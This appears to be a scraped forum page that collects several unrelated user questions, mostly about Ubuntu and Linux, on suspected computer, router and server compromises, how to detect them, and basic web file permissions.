I want to know if any one hacked or getting into my computer. I am using lucidlynx right now, My computer directly connected to modem, not using any wireless router. How can i check if some one hacked? How to prevent it?
View 6 RepliesI have a 6yo laptop...z60m. Solid little thing that I knocked around so much the hinge broke. My dad jerryrigged it so it can stay open.
So now I use it as a glorified DVD player. Then, around February the hard drive died. I put it in fresh, loaded a couple of regular games and the DVD modifications to play DVD's. So, besides the basic upgrade to 9.1 not much as been done.
Well, last week my panel disappeared. I procrastinated and last night I got on the computer. I did F2 and "xfce-panel" and my panel reappeared exactly how I'd last tweaked it.
With on exception. This blue globe, "Akonadi" had mysteriously appeared.
Thing is that I haven't installed or updated anything for 8 months...why? becuase I haven't had this thing connected to the Internet. The wireless tower has been on. (my bad) but all of the signigals in my neck of the wood are encripted so I just let it be.
I don't know where this program came from. Is it loaded in xubuntu? Why would it show up? And furthermore if there was someone with malicious intent (unfortunatly I do have to take that into consideration) have put this on for data collection?
I have windows computer and it is being hacked.About month ago or more some one hacked my router and install new firmware from Firmware Version: Talisman/Basic V1.2.9a
My router is linksys and SSID got changed to sveasoft.I had WPA set up and MAC filtering .
Some one hacked my router and change Firmware Version.And user name and password also got change to just admin.
Well now I got a pop up from my Kaspersky saying network attack scan.generic.TCP 74.63.245.168
only thing I can find on it http://whatismyipaddress.com/ip/74.63.245.168
It is Limestone Networks in Dallas.
Some strang things have been happing to my computer in past 4 months and is getting worse.
I have no firewall or router now.And have not gone to the store and get new router yet and I'm thinking of formatting my computer and putting linux and get good firewall like zone-alarm.
I had a serious breach of the cellular segment of my communications network this week. All I can say is nobody got hurt. The attackers also knew where to find me via email. I'm concerned that perhaps they've penetrated this aspect of my system as well, although they seemed pretty specifically focused on the phone. There have been no changes on anything on my computer, and of course, I went ahead and changed all the passwords. How can I verify or at least look into the possibility of having been hacked as well.
View 8 Replies View Relatedmy computer has been surely hacked for at least more than two months; my private information are being hacked and spread around! I initally used Windows Vista and I had the firewall off and no antivirus software. When I realized that my OS had been hacked, I began turning my firewall on and installing security softwares, but nothing stopped the hack.
Yesterday, I erased all my partitions and installed Ubuntu 10.10. I installed rkhunter and a firewall. I changed my static IP adress, at least for the sake of knowledge, to another one, then I got disconnected since my router only allows my old IP.
When I'm about to write my admin password, I disconnect from the network. I've scanned my system using rkhunter, and the result is a list of 30 suspicious files!
Can I adjust my router in a way that it can allow any IP adress? If yes, can I have a non-static IP adress? How to prevent the hacking in the first place? However, I believe, I don't know yet, that my Ubuntu has also been hacked...
If I can't get rid of the hacker(s), then I should permanently disconnect from internet and find another way to receive information anonymously through the internet.
Awoke to millions of failed SSH attempts into my public server. Behind a firewall which forwards only SSH and HTTP. Local iptables deny everything except SSH and HTTP. Exact same symptoms and results as Chris over at his site: here.I just want to know how they managed to execute a script, or make changes etc? Here's some info:According to cat /var/log/secure | grep "Accepted" no one besides myself gained entry via SSH.The FTP account (500:48 (Purposely in apache group)) is chrooted to a 775 directory and vsftpd does not accept anonymous entry. vsftpd and xferlog's are empty?

Everything was fine for years but a week ago my server got hacked.I don't know how the hacker got my username/password - it was not something like admin, password.9 months ago my PC was infected with some virus which connected to the FTP server by using password which was saved in CuteFTP and infected all index files with some javascript. Then I changed the user/FTP password and didn't save it anymore in Cute FTP. Of course, I checked all the folders and re-uploaded all infected files. Is it possible that this virus uploaded some hidden file which was able to get the new password for this account?
The server was hacked from so called Tor IP address. I am tiref of worrying about server security and now have an idea to get a static IP address from my ISP and to allow logins only from this IP address. What do you think about it? This idea looks good for me but are there any risks to lose access to the server. Can ISP provider change the static IP address for some reason?
I need to know whether Ubuntu can be hacked when it is installed as a dual boot with W7 by hacking windows and getting access to the Ubuntu partition?
What I would also like to know if this way can be used to put a key logger or screen capture in Ubuntu which installs next time Ubuntu is started?
I believe it is a keylogger because my Facebook account has been hacked, I believe my email has as well. I heard that even if you reformat a harddrive, the virus could still sit there and apparently that is what happened to me. how to be rid of it and keep my security. I installed RKhunter and Chkrootkit. Rkhunter reports warning files while checking my filesystem. I can post a log if need be.
View 9 Replies View RelatedMy server (Ubuntu 10.04 desktop) was hacked. I had my ethernet plugged in to an Intel 82557 Ethernet Pro card (Pulse) when my server was first attacked. After it was attacked I reinstalled the system but my ethernet card still would not work. Ubuntu recognized it, but it is continually disconnected and the little status lights on the card do not light up anymore.
So then I plugged the ethernet to the mother board itself. Well, my server was hacked again and now the ethernet on the motherboard does not work. Again, Ubuntu (after a reinstall) recognizes the hardware but nothing happens when I plug the etherent in. The motherboard is a BioStar P4M900 VIA chipset. I have a few of the system logs here [URL] which I saved right after the first attack.
A scan on my computer reported as up many local ips which simply does not exist in my network. This host is supposed to have ip 192.168.0.4, but all other ip should not be there. I have a USB modem connected to a Linux box, connected itselfs to a wifi linksys router and thats it.

I just got control over a server that was hacked several months back. The other day we started receiving rejected emails sent from my server to a yahoo email address that is no longer active that contained users login information. I am trying to find the process that is sending these emails. So far its been like finding a needle in a haystack. The email that is being sent is appending the login information each time it is sent so there must be a local file that contains this information. I have tried using grep and find without any luck.

Nevertheless, I would appreciate any help I can get.The company ProvidIT has contacted us, their website has been hacked. Instead of their normal website, it shows Buy creditcard details online, click here (cc4u.jpg). A classical defacement.The following offenses also might have been committed. So its our job to find evidence for those offences.(I had to translate the Dutch law articles, so they might not be 100% acurate legally speaking, but you get the idea)
- Unlawfully accessing automated systems

View 3 Replies View Related1. I understand you can protect your files or directories in your website by setting file/directory permissions. The meaning of r w x is clear to me, but I'm not sure how to proceed... Starting with the index.html file, if I wanted to make it so that anyone in the world can read it but can't modify it, do I set its permissions to rwxr-xr-x? If I set it to rwxr--r--, would that mean the file couldn't be served? I mean, what does the x setting do on a .html file, how can a .html file be executable?
2. If file permissions work on the lines of owner-group-others, in the context of a website, who is 'group'? As far as I can tell, there's only the owner, which is me, and others, which is the world accessing the site. Am I correct in thinking that by default, say when creating a website on a shared hosting server, there is no group unless I specifically set one up?
3. My ISP allows the DynDNS.org service, meaning that I could serve a website from my home. It's too early to go that route just yet, but for future reference, I would like to ask about the server software called Hiawatha. It is said to be secure, but having read some evaluations of it, it doesn't seem to offer anything that couldn't be accomplished with Apache or Cherokee, it's just that its security settings are simpler and easier to configure. Am I right about this? Or does Hiawatha truly offer something that the other major server packages don't?
